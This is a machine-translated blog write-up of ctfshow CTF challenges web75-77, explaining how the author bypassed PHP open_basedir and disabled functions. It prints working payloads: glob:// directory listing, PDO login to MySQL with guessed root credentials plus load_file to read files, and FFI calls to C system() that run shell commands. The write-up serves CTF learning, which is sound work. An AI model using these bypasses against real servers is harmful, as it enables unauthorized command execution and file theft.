当前位置:网站首页>Ctfshow web getting started command execution web75-77
Ctfshow web getting started command execution web75-77
2022-06-26 11:23:00 【Make-1t-0r-d1e】
I've been painting in recent days ctfshow Of web Introduction to the command execution part of the exercise , Learned a lot of new postures , Simply record your understanding of the last few problems
web75
Due to the existence open_basedir Configuration limitations , Can't use scandir Function to list directory information , have access to glob The agreement bypasses open_basedir The limitation of , Found at root flag36.txt file .
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

This question is also passed include_path Limits the path contained in the file , Cannot be used directly include Include get flag Information , So I tried to use uaf To bypass the restriction of command execution , But because this topic filters strlen, I also tried to rewrite it in several ways strlen function , But none of them succeeded , If the subsequent rewriting is successful, it will be updated in time , Therefore, refer to the prompt information to use PDO Connect MySQL Read from the database flag Information ,payload as follows .
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}exit();
In the video explanation, it is mentioned that the database name can be obtained ctftraining, But I try to use the ant sword connection to filter the problem environment that is not strict , In the login mysql There is always a segment error , But even if you don't know the database name ctftraining, You can also connect to the default database information_schema Reach the directory of command execution , Just guess mysql Just use your username and password .
By connecting to the default database information_schema Query database name , It is found that there is indeed a named ctftraining The database of .
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();

Use load_file Function read flag File is available flag Information
web77
This problem still makes use of glob The agreement bypasses open_basedir The limitation of , List all files in the root directory , Two suspicious files were found , Namely flag36x.txt and readflag
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

Try to use web75 and 76 The idea of , Use PDO Connect MySQL database , And then use load_file Function bypasses the restriction of file reading , Read flag, But the newspaper could not find driver Error of , Indicates that this question cannot be used PDO Connect to database .
see writeup, This question uses PHP 7.4+ Of FFI characteristic , That is, external function interface features , Please check the relevant documents PHP manual , I'm mainly right here payload Simple analysis of information .
$ffi = FFI::cdef("int system(const char *command);");// Create a system object
$a='/readflag > 1.txt';// No echo
$ffi->system($a);// adopt $ffi To call system function
PHP The manual says FFI:cdef The description of the prototype is public static FFI::cdef(string $code = "", ?string $lib = null), among $code For a string , Include general C A series of statements in a language ,$lib Is the name of the shared library file to load and link , If omitted lib, Then the platform will try to find the symbols declared in the code in the global scope , Other systems will not be able to parse these symbols .
At first I thought payload The meaning of the first line of code in is , Don't offer $lib In the case of information , Will call by default PHP Medium system function , But actually int system(const char *command); That is to say C In language system Definition of function , Used to execute system commands , Also in Linux Under the platform /readflag > 1.txt Use shell Parse and execute , So guess readflag It could be an executable .
- Use FFI call C In language
systemFunction to list the root directory
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();

- Attempt to read directly
/flag36x.txt, visit 1.txt There is nothing after
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();
- Attempt to read
/readflagfile , Successfully read , by ELF Executable file
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();

- guess
/flag36x.txtThe file could not be read because of insufficient permissions , List the file permission information of the root directory , It is found that this file does not have read permission for other users , The user who executes the command iswww-data, So it can't be used directlycatRead file contents .
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls -lst / > 1.txt';
$ffi->system($a);exit();

- Use IDA see
/readflagThe contents of the executable file , Confirmed the speculation between
Through executionreadflagFile is available flag Information
边栏推荐
- .net中,日志组件 Nlog,SerialLog, Log4Net的用法
- 机器学习SVM——实验报告
- Splicing full paths and uploading multiple pictures of laravel admin when laravel uses OSS
- Recent work report
- Qixia housing and Urban Rural Development Bureau and fire rescue brigade carried out fire safety training
- Notice on printing and Distributing Measures for supporting strategic emerging industries and future industrial cluster development in Futian District, Shenzhen
- 手机注册股票开户 开户安全吗
- 机器学习LDA——实验报告
- Wangeditor uploading local video modification
- express在nodejs中的基本使用
猜你喜欢

机器学习深度神经网络——实验报告

Flannel's host GW and calico

9、 Beautify tables, forms, and hyperlinks

C language -- operators and expressions
![[deep learning theory] (6) recurrent neural network RNN](/img/33/e270b08e7748a6e740eb618ed10c9a.gif)
[deep learning theory] (6) recurrent neural network RNN

18: Chapter 3: development of pass service: 1: SMS login & registration process, introduction; (SMS verification code is used here)

19:第三章:开发通行证服务:2:在程序中,打通阿里云短信服务;(仅仅是打通阿里云短信服务器,不涉及具体的业务开发)

Implementing MySQL master-slave replication in docker

Docker中实现MySQL主从复制

PC qq Hall upload Update Modifying versioninfo
随机推荐
Excel operation of manual moving average method and exponential smoothing method for time series prediction
Svn installation configuration
Is it safe to open an account in the top ten securities app rankings in China
laravel-admin隐藏按钮, 及设置按钮显示, 默认序列, form 表单的不可修改值
Introduction to Dolby panoramic sound
wangEditor 上传本地视频修改
loggie 编码以及换行符测试
Sqli-labs靶场1-5
DD command tests the read and write speed of Huawei Kunpeng & Hongshan solid state storage disk
Apiccloud implements the document download and preview functions
Openresty overview
哈希表的前置知识---二叉搜索树
Unity使用SteamVRPlugin时如何不让其他Camera位置和旋转收到SteamVRPlugin控制
FasterRCNN
Work report (3)
基于slate构建文档编辑器
LeetCode 710 黑名单中的随机数[随机数] HERODING的LeetCode之路
c语言 --- 运算符和表达式
Is it safe for compass software to buy stocks for trading? How to open an account to buy shares
4、 Stacks and queues